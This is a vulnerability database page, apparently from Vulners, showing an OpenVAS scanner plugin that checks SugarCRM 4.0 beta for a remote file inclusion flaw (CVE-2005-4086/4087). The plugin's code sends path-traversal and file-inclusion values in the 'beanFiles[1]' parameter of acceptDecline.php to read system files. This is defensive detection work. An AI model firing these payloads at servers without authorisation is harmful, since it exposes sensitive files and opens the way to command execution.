Lucene search
+L

SugarCRM <= 4.0 beta Remote File Inclusion Vulnerability

🗓️ 26 Mar 2006 00:00:00Reported by Copyright (C) 2005 Ferdy RiphagenType 
openvas
 openvas
🔗 plugins.openvas.org👁 23 Views

SugarCRM <= 4.0 beta Remote File Inclusion Vulnerability. The version of SugarCRM allows attackers to display sensitive information and execute arbitrary commands due to improper input sanitization

Related
Refs
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-4086
8 Dec 200511:00
cve
cve
CVE
CVE-2005-4087
8 Dec 200511:00
cve
cvelist
Cvelist
CVE-2005-4086
8 Dec 200511:00
cvelist
cvelist
Cvelist
CVE-2005-4087
8 Dec 200511:00
cvelist
exploitdb
Exploit DB
SugarSuite Open Source 4.0beta - Remote Code Execution (1)
7 Dec 200500:00
exploitdb
exploitdb
Exploit DB
SugarSuite Open Source 4.0beta - Remote Code Execution (2)
8 Dec 200500:00
exploitdb
euvd
EUVD
EUVD-2005-4082
7 Oct 202500:30
euvd
nvd
NVD
CVE-2005-4086
8 Dec 200511:03
nvd
nvd
NVD
CVE-2005-4087
8 Dec 200511:03
nvd
openvas
OpenVAS
SugarCRM <= 4.0 beta Remote File Inclusion Vulnerability
26 Mar 200600:00
openvas
Rows per page
# SPDX-FileCopyrightText: 2005 Ferdy Riphagen
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:sugarcrm:sugarcrm";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20286");
  script_version("2025-07-29T05:44:59+0000");
  script_tag(name:"last_modification", value:"2025-07-29 05:44:59 +0000 (Tue, 29 Jul 2025)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2005-4087", "CVE-2005-4086");
  script_name("SugarCRM <= 4.0 beta Remote File Inclusion Vulnerability");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2005 Ferdy Riphagen");
  script_dependencies("gb_sugarcrm_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 443);
  script_mandatory_keys("sugarcrm/http/detected");

  script_xref(name:"URL", value:"http://retrogod.altervista.org/sugar_suite_40beta.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15760");
  script_xref(name:"URL", value:"https://marc.info/?l=bugtraq&m=113397762406598&w=2");

  script_tag(name:"solution", value:"Update to version 3.5.1e and/or disable PHP's
  'register_globals' setting.");

  script_tag(name:"summary", value:"The version of SugarCRM installed on the remote host does not
  properly sanitize user input in the 'beanFiles[]' parameter in the 'acceptDecline.php' file.");

  script_tag(name:"impact", value:"A attacker can use this flaw to display sensitive information and
  to include malicious code which can be used to execute arbitrary commands.

  This vulnerability exists if 'register_globals' is enabled.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("traversal_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

host = http_host_name(dont_add_port: TRUE);

foreach pattern(keys(files)) {

  file = files[pattern];

  string[0] = "../../../../../../../../" + file;
  string[1] = string("http://", host, "/robots.txt");
  pat =  pattern + "|User-agent:";

  for(exp = 0; string[exp]; exp++) {
    url = string(dir, "/acceptDecline.php?beanFiles[1]=", string[exp], "&beanList[1]=1&module=1");
    if (http_vuln_check(port: port, url: url, pattern: pat, check_header: TRUE)) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation